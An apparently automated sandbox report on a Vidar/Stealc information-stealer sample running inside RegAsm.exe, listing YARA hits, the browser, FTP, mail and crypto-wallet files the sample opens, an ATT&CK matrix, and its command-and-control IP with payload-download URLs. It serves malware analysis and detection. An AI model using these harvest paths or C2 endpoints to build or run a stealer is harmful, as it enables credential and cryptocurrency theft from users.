Source: Yara match	File source: 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonC+
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.Y

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3595570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3595570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1700536753.0000000003595000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7476, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E0C40 sqlite3_bind_zeroblob,	3_2_6C4E0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E0D60 sqlite3_bind_parameter_name,	3_2_6C4E0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C408EA0 sqlite3_clear_bindings,	3_2_6C408EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6C4E0B40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Reputation
http://194.87.29.53/97f9710b31d15029/mozglue.dll	true	unknown
http://194.87.29.53/97f9710b31d15029/nss3.dll	true	unknown
http://194.87.29.53/6f9307efa625dd18.php	true	unknown
http://194.87.29.53/97f9710b31d15029/vcruntime140.dll	true	unknown
http://194.87.29.53/	true	unknown
http://194.87.29.53/97f9710b31d15029/sqlite3.dll	true	unknown
http://194.87.29.53/97f9710b31d15029/msvcp140.dll	true	unknown
http://194.87.29.53/97f9710b31d15029/freebl3.dll	true	unknown
http://194.87.29.53/97f9710b31d15029/softokn3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://194.87.29.53/6f9307efa625dd18.phpS	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.phpV	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/97f9710b31d15029/vcruntime140.dll~	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/97f9710b31d15029/mozglue.dllN	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/97f9710b31d15029/softokn3.dllJ	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.php3	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/6f9307efa625dd18.phpoinomi	RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/6f9307efa625dd18.phppRH6tRH6hRH6vRH6jRH6nRH6lRH6	RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/6f9307efa625dd18.phpowser	RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	IEHDBAAFIDGDAAAAAAAA.3.dr	false		unknown
http://194.87.29.53at	RegAsm.exe, 00000003.00000002.1820758252.000000000145A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HJDBFBKK.3.dr	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.php/	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	false		unknown
http://194.87.29.53/6f9307efa625dd18.php.	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000003.00000002.1852818461.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://194.87.29.53/6f9307efa625dd18.phpsition:	RegAsm.exe, 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://194.87.29.53/97f9710b31d15029/sqlite3.dllj	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	false		unknown
https://mozilla.org0/	nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HJDBFBKK.3.dr	false		unknown
http://194.87.29.53/6f9307efa625dd18.phpHDBAAFIDGDAAAAAAAA	RegAsm.exe, 00000003.00000002.1820758252.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
